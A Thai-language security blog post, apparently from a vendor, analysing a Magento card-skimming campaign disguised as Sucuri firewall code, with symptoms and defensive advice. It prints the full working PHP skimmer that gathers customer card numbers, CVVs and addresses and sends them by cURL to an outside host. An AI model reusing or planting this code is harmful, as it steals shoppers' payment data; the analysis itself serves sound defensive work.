ด้วยมาตรการล็อกดาวน์จาก COVID-19 และโปรโมชั่นลดราคา BFCM (Black Friday Cyber Monday) และคริสต์มาสทั่วโลก การช้อปปิ้งออนไลน์ยังคงกระโดดสูงในปีนี้ และพร้อมกับนั้นคือการโจมตีแบบขโมยข้อมูลบัตรเครดิตผ่านเว็บ (Digital Credit Card Skimming) ที่เพิ่มขึ้น
ต่อจากรายงานล่าสุดของเราเกี่ยวกับแคมเปญมัลแวร์ Telegram นักวิจัยด้านความปลอดภัยของ Astra Security ได้พบแคมเปญมัลแวร์ขโมยข้อมูลบัตรเครดิตอีกครั้งที่กำลังดำเนินอยู่ ซึ่งปลอมตัวเป็นบริษัทความปลอดภัย 'Sucuri' เพื่อขโมยข้อมูลลับของลูกค้าจากร้านค้าอีคอมเมิร์ซที่ติดเชื้อ แม้เราจะติดตามมัลแวร์นี้ที่โจมตีร้าน Magento แต่ก็พบร่องรอยของมัลแวร์ใน CMS อื่นๆ เช่น PrestaShop, OpenCart และ WooCommerce ด้วย
การโจมตีขโมยข้อมูลบัตรเครดิตแบบดิจิทัล (Digital Credit Card Skimming) คืออะไร?
การโจมตีขโมยข้อมูลบัตรเครดิตแบบดิจิทัลเป็นการโจมตีแบบเว็บที่แฮกเกอร์ฉีดโค้ด JavaScript อันตรายเข้าไปในเว็บไซต์หรือร้านค้าอีคอมเมิร์ซ เพื่อติดเชื้อมัลแวร์ และสุดท้ายแล้วขโมยข้อมูลรับรองและข้อมูลการชำระเงินที่ละเอียดอ่อนจากผู้เยี่ยมชม/ลูกค้า โค้ดอันตรายของสกีมเมอร์ดิจิทัลเหล่านี้มักถูกปลูกที่ฟอร์มรับข้อมูลผู้ใช้ในหน้าชำระเงิน (Checkout Page) ของเว็บไซต์ ซึ่งจะดักจับข้อมูลที่ผู้ใช้กรอก หรือสร้าง iframe พร้อมฟอร์มชำระเงินปลอมเพื่อขโมยข้อมูลบัตรเครดิตของลูกค้า
การสกีมมิ่งดิจิทัลได้ส่งผลกระทบต่อเว็บไซต์หลายแสนเว็บจนถึงปัจจุบัน รวมถึงแบรดเนมดังอย่าง British Airways, Macy's, Forbes, NewEgg และ Ticketmaster
อาการของมัลแวร์ขโมยข้อมูลบัตรเครดิตใน Magento
- ลูกค้าร้องเรียนว่ามีธุรกรรมที่ไม่ได้ทำรายการจากบัตรเครดิตหลังใช้จ่ายที่ร้านของคุณ
- อีเมลจากผู้ให้บริการชำระเงิน/ธนาคารเตือนเกี่ยวกับความปลอดภัยของเกตเวย์ชำระเงินร้านค้าของคุณ
- มีวิธีการชำระเงินเพิ่มเติมในร้านที่คุณไม่ได้ตั้งค่า
- พบโค้ดที่มีคำว่า 'Sucuri' ในเว็บไซต์ของคุณ แม้คุณจะไม่ได้ใช้ผลิตภัณฑ์ชื่อนั้นก็ตาม
วิธีที่แฮกเกอร์โจมตีร้านค้าและปลอมตัวเป็นไฟร์วอลล์ Sucuri เพื่อหลอกลูกค้าให้กรอกข้อมูลชำระเงิน
ระหว่างการวิเคราะห์แคมเปญมัลแวร์นี้ ทีมวิจัยของเราพบว่าแฮกเกอร์กำลังปลูกมัลแวร์ขโมยบัตรเครดิตนี้เข้าไปในเว็บไซต์อีคอมเมิร์ซ (ส่วนใหญ่คือร้าน Magento) และหลอกผู้เยี่ยมชม/ผู้ซื้อให้กรอกข้อมูลละเอียดอ่อนระหว่างเช็คเอาต์ โค้ดมัลแวร์ขโมยบัตรเครดิตนี้ตั้งอยู่ที่ตำแหน่งไฟล์ /app/code/core/Mage/Payment/Model/Method/Cc.php ของเว็บไซต์ที่ติดเชื้อ
ที่นี่ โจมตีเพิ่มฟังก์ชัน $this->sucuri_encrypted(); ซึ่งช่วยให้พวกเขาส่งออกข้อมูลที่ผู้ใช้กรอกระหว่างกระบวนการเช็คเอาต์ และข้อมูลที่ถูกส่งออกจะถูกส่งไปยัง https://www.thebrandstore.gr/js/i.php
ข้อมูลที่ถูกขโมยประกอบด้วยข้อมูลละเอียดอ่อนของลูกค้า รวมถึงชื่อ, นามสกุล, ที่อยู่, หมายเลขโทรศัพท์ และรายละเอียดบัตรเครดิต
ด้านล่างนี้คือตัวอย่างโค้ดที่ใช้ในแคมเปญมัลแวร์นี้โดยโจมตี:
function sucuri_encrypted() { $info = $this->getInfoInstance(); $object = new Mage_Checkout_Block_Onepage_Billing; $address1 = $object->getQuote()->getBillingAddress(); $data1 = $address1->getFirstname(); $data2 = $address1->getLastname(); $data3 = $address1->getStreet(1); $data4 = $address1->getStreet(2); $data5 = $address1->getCity(); $data6 = $address1->getRegion(); $data7 = $address1->getPostcode(); $data8 = $address1->getCountry(); $data9 = $address1->getTelephone(); $data10 = $info->getCcNumber(); $expyear = substr($info->getCcExpYear(), -2); $expmonth = $info->getCcExpMonth(); if (strlen($expmonth) == 1) { $expmonth = '0'.$expmonth; }; $data11 = $expmonth; $data12 = $expyear; $data13 = $info->getCcCid(); $data15 = $_SERVER['SERVER_NAME']; $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail(); //create array of data to be secured $sucuri_firewall['firstname'] = base64_encode($data1); $sucuri_firewall['lastname'] = base64_encode($data2); $sucuri_firewall['address'] = base64_encode($data3); $sucuri_firewall['address2'] = base64_encode($data4); $sucuri_firewall['city'] = base64_encode($data5); $sucuri_firewall['state'] = base64_encode($data6); $sucuri_firewall['zip'] = base64_encode($data7); $sucuri_firewall['country'] = base64_encode($data8); $sucuri_firewall['phone'] = base64_encode($data9); $sucuri_firewall['cc'] = base64_encode($data10); $sucuri_firewall['exp'] = base64_encode($data11); $sucuri_firewall['expyear'] = base64_encode($data12); $sucuri_firewall['cvv'] = base64_encode($data13); $sucuri_firewall['email'] = base64_encode($data16); $sucuri_firewall['dari'] = base64_encode($data15); $sucuri_firewall['submit'] = 'Submit'; //traverse array and prepare data for posting (key1=value1) foreach ( $sucuri_firewall as $key => $value) { $post_items[] = $key . '=' . $value; } //create the final string to be posted using implode() $post_string = implode ('&', $post_items); //create cURL connection $curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php'); //set options curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); //set data to be posted curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string); //perform our request $result = curl_exec($curl_connection); curl_close($curl_connection); } } }.
ตามที่คุณเห็นในโค้ดข้างต้น ตัวขโมยข้อมูลบัตรเครดิตเพิ่มฟังก์ชันชื่อ $this->sucuri_encrypted(); ซึ่งแสดงโค้ดปลอมไฟร์วอลล์ Sucuri
วิธีปกป้องร้านค้าอีคอมเมิร์ซของคุณจากมัลแวร์นี้
เว็บไซต์หรือร้านค้าอีคอมเมิร์ซที่ติดเชื้อมัลแวร์นี้อาจเสียรายได้และความเชื่อมั่นของลูกค้าอย่างมาก เนื่องจากข้อมูลละเอียดอ่อนของลูกค้าถูกขโมยที่นี่ และคำสั่งซื้อที่ถูกต้องไม่ได้รับการวางหรือการชำระเงินไม่ได้ดำเนินการ ดังนั้น ขอแนะนำให้เจ้าของเว็บไซต์นำมาตรการความปลอดภัยก่อนหน้าไปปฏิบัติ เพื่อปกป้องเว็บไซต์และข้อมูลลูกค้าต่อสกีมเมอร์บัตรเครดิตประเภทนี้และแคมเปญมัลแวร์อื่นๆ
หากคุณใช้ไฟร์วอลล์แอปพลิเคชันของ Astra Security ร้านค้าอีคอมเมิร์ซของคุณก็จะได้รับการปกป้องจากการโจมตีนี้และการโจมตีไซเบอร์และช่องโหว่อื่นๆ เช่น SQLi, XSS, CSRF, LFI, RFI, การแฮกบัตรเครดิต, สแปม, บอทที่ไม่ดี ฯลฯ อีกทั้ง ผู้เชี่ยวชาญด้านความปลอดภัยแนะนำให้สแกนมัลแวร์เป็นประจำเป็นมาตรการสำคัญสำหรับความปลอดภัยของเว็บไซต์ ถึงเวลาที่คุณควรเตรียมเว็บไซต์ของคุณด้วยมาตรการความปลอดภัยที่เหมาะสมเพื่อให้ปลอดภัยตลอดเวลา